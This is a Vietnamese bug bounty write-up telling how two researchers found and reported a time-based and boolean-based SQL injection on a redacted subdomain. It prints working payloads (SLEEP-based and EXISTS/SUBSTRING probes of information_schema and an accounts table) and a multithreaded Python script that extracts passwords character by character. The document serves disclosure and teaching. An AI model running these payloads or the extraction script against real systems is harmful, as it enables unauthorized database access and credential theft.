Summary
Hãy tưởng tượng bạn là một “hiệp sĩ số”, lùng sục khắp thế giới mạng để tìm kho báu – một lỗ hổng website ngon lành, vừa kiếm được fame, vừa có thể “đút túi” một khoản thưởng béo bở. Đó chính là chuyến phiêu lưu mà tui với bạn thân ngosytuan đã lao vào khi nhắm đến cái web bí ẩn sub.redacted.com . Mục tiêu? Săn một con “bug” siêu xịn gọi là SQL Injection (SQLi) – loại lỗi nguy hiểm như kiểu tìm được chìa khóa mở cả ngân hàng vậy.
Bật mí tí nè: Không những tụi tui tìm được nó, mà còn ghi điểm CVSS 10.0 – tương đương huy chương vàng trong làng săn bug! Dưới đây là câu chuyện “máu lửa” của tụi tui, kèm mẹo mực để bạn cũng thử sức “phá đảo” thế giới bug bounty!
🗺️ Chương 1: Khởi Đầu Cuộc Săn
Hành trình bắt đầu với một lượng lớn subdomain và phải tìm ra SQL Injection trên một cái web “khó nhằn” như pháo đài sắt. Cái web này phức tạp kinh khủng, ném cả đống tham số (tưởng tượng như một hộp xếp hình cả ngàn mảnh) vào backend. Muốn tìm lỗ hổng ở đây? Khó như tìm kim trong đống rơm! Nhưng tui với ngosytuan đâu có ngán, tụi tui xắn tay áo lên và đào bới như thợ săn kho báu thứ thiệt!
🛠️ Chương 2: Bí Kíp “Hack Não” Đổi Đời
Ngay từ đầu, ngosytuan đã thả một câu thần chú nghe như cheat code: “Tham số nhiều quá hả? Đừng có ngồi thử từng cái với dấu nháy '
, tốn thời gian lắm. Ném dấu nháy vào hết đi, rồi từ từ xoá bớt ra!”
Nghe thì như đùa, nhưng hóa ra là “chân lý”! Cứ tưởng tượng bạn đang tìm ống nước rò trong nhà, mở hết vòi lên, rồi tắt từng cái để phát hiện chỗ rỉ. Tụi tui làm y chang: viết một request, nhét dấu nháy '
vào tất tần tật tham số, rồi bắn thẳng vào máy chủ.
BÙM! Máy chủ “ho sặc” và phun ra Lỗi 500. Haha, manh mối đầu tiên đây rồi – kho báu đang lấp ló đâu đó!
🧩 Chương 3: Câu Đố Hại Não
Xác nhận con SQLi này không dễ như ăn kẹo. Tụi tui thử payload UNION
, thử 1 cột, 2 cột, rồi 3 cột thì máy chủ trả về một thông báo lỗi kiểu “đố bạn hiểu tui nè”:
CAST(REPLACE(fuel_consumption_mixed, ',', '.') AS DECIMAL(5,2)) BETWEEN 1 AND 1=1 UNION SELECT 1.2.3--
Ban đầu, tụi tui hí hửng: “Ô, hai cột kìa!” Nhưng mà khoan, có gì sai sai. Câu lệnh SQL hỏng, là do cố đổi dấu phẩy (,) thành dấu chấm (.) để xử lý số thập phân. Khi tụi tui ném 1,2,3, nó bối rối như kiểu bạn đưa tờ tiền “1,2,3 đồng” cho cô bán hàng. Hèn chi nó crash!
Tụi tui lôi sqlmap – công cụ “thần thánh” để bẻ khóa SQLi – ra xài, cho nhanh, nhưng nó cứ fail hoài. Muốn đập bàn phím luôn á!
💡 Chương 4: Khoảnh Khắc “Eureka” Lúc Nửa Đêm
Sau một đêm dài vật lộn, tui quyết định chơi lầy lần cuối trước khi “giương cờ trắng”. Tui thử một payload với lệnh SLEEP(10), kiểu như bảo máy chủ: “Ê, nếu mày có lỗ hổng thì ngủ một giấc 10 giây đi!” Payload thế này nè:
1 AND 1=1 UNION SELECT SLEEP(10)--
Tui nhấn gửi, tim đập thình thịch đếm từng giây… và rồi, đúng 10 giây sau, máy chủ mới chịu trả lời. Thử lại với SLEEP(5), nó ngoan ngoãn dừng đúng 5 giây.
Trúng mánh rồi! Đây không chỉ là SQLi, mà là một con “bug Exceptional” chính hiệu. Tường thành vỡ toang, kho báu lộ ra luôn!
🖥️ Chương 5: “Outsmart” Hệ Thống
Để chắc cú, tui ngồi mổ xẻ tại sao mấy lần trước fail. Hóa ra cái vụ đổi dấu phẩy thành dấu chấm của backend làm tụi tui “toang”. Công cụ như sqlmap chịu thua, nên tui tự tay “đóng giày” một tập lệnh khai thác tự động để:
- Gửi payload dựa trên boolean để kiểm tra lỗ hổng.
- Đo độ dài phản hồi để xác nhận.
- Moi dữ liệu ra.
Tưởng tượng như tui chế một cái máy dò vàng xịn xò để tìm đúng viên kim cương trong đống cát. Không đẹp mã nhưng hiệu quả thì “miễn bàn”!
Payload mẫu:
1 AND EXISTS(SELECT 1 FROM dual WHERE LENGTH((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'db' AND table_name = 'accounts')))
Hết drama dấu phẩy luôn!
Đây là đoạn code tui viết cho vụ này:
- Kiểm tra độ dài dữ liệu:
def get_data_length(): """Tìm độ dài kiểu nhị phân, mượt như lụa""" left, right = 1, 100 while left <= right: mid = (left + right) // 2 payload = f"1 AND EXISTS(SELECT 1 FROM dual WHERE LENGTH((SELECT GROUP_CONCAT(password) FROM accounts LIMIT 1)) > {mid})" json_data = {"filters": {"fuel_consumption": [1, payload]}} r = requests.post(url, headers=headers, cookies=cookies, json=json_data) if "id=1207" in r.text: left = mid + 1 else: right = mid - 1 return right + 1
- Kiểm tra ký tự:
def test_character(position, char): payload = f"1 AND EXISTS(SELECT 1 FROM dual WHERE SUBSTRING((SELECT GROUP_CONCAT(password) FROM accounts LIMIT 1) FROM {position} FOR 1) = '{char}')" json_data = {"filters": {"fuel_consumption": [1, payload]}} try: r = requests.post(url, headers=headers, cookies=cookies, json=json_data) if "id=1337" in r.text: return char except: pass return None
- Trích xuất dữ liệu:
def extract_data(): """Đi vét cạn, không khoan nhượng""" result = "" length = get_data_length() print(f"[+] Dữ liệu dài tận: {length} ký tự!") with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: for i in range(1, length + 1): futures = {executor.submit(test_character, i, c): c for c in charset} for future in concurrent.futures.as_completed(futures): found = future.result() if found: result += found print(f"[+] Moi được ký tự vị trí {i}: {found}") break return result
Vậy là tụi tui đã “hốt” được viên ngọc quý! 🌟
🏆 Chương 6: Ăn Mừng
Với chứng minh khái niệm (PoC) và tập lệnh “xịn sò” trong tay, tui nộp báo cáo cho chương trình bug bounty. Đội ngũ kiểm tra nhanh như chớp, và chẳng mấy chốc, công ty đánh dấu báo cáo là Accepted
với mức nghiêm trọng cao. Tụi tui làm được rồi – con SQLi này chính thức là CVSS 10.0. Nhiệm vụ hoàn tất, mở tiệc thôi! 🎉
Note: Lúc báo cáo để Time-based thôi, nhưng thực sự thì Boolean-based vẫn được, nhưng sàn chỉ cần sleep được là công nhận rồi!
📋 Trại Huấn Luyện Bug Bounty: Bí Kíp Cho Tân Binh
Muốn tự mình “săn kho báu” số? Đây là mấy chiêu tui rút ra từ chuyến đi này:
- 🔍 Đọc lỗi như thám tử Conan. Thông báo lỗi không phải rác, mà là manh mối vàng. Chỉ một dòng thôi cũng có thể dẫn bạn đến “con mồi”.
- 🧠 Đặt mình vào backend. Hiểu cách máy chủ “nghĩ” (như đổi phẩy thành chấm) để tung cú đánh chí mạng.
- 🛠️ Tự chế đồ chơi. Sqlmap “ngáp” hả? Viết script riêng đi, vừa cứu nguy vừa khiến báo cáo của bạn “chất như nước cất”.
- 🎣 Thả lưới rộng, rồi kéo từ từ. Ném dấu nháy vào hết tham số như tung lưới bắt cá, rồi lọc dần để tóm “con to”.
- 💪 Kiên nhẫn và tò mò. Săn bug là cuộc đua đường dài, không phải chạy 100m. Cứ mày mò, thử nghiệm, bạn sẽ “lên level”!
🌟 Săn Bug Để Làm Gì?
Đạt điểm CVSS 10.0 không chỉ để “khoe hàng” (mặc dù khoe sướng thật!). Nó là cách để giúp internet an toàn hơn, học hỏi cách hệ thống vận hành, và nếu may mắn, kiếm được khoản tiền “đủ mua trà sữa cả tháng”. Dù bạn là coder “cứng”, dân nghiệp dư tò mò, hay chỉ thích “phá đảo” thử thách, bug bounty là sân chơi siêu đỉnh để thử sức.
Nào, xách laptop lên, rủ bạn bè nhập hội, và bắt đầu khám phá. Biết đâu chuyến phiêu lưu CVSS 10.0 của bạn chỉ cách một payload “đỉnh của chóp”! Chúc đi săn vui nha! 🚀
Chúc bạn “phá đảo” thêm nhiều bug nữa!
Trước khi lướt đi: Nhấn upvote và follow tụi tui nha 👏 !!!
fatman & ngosytuan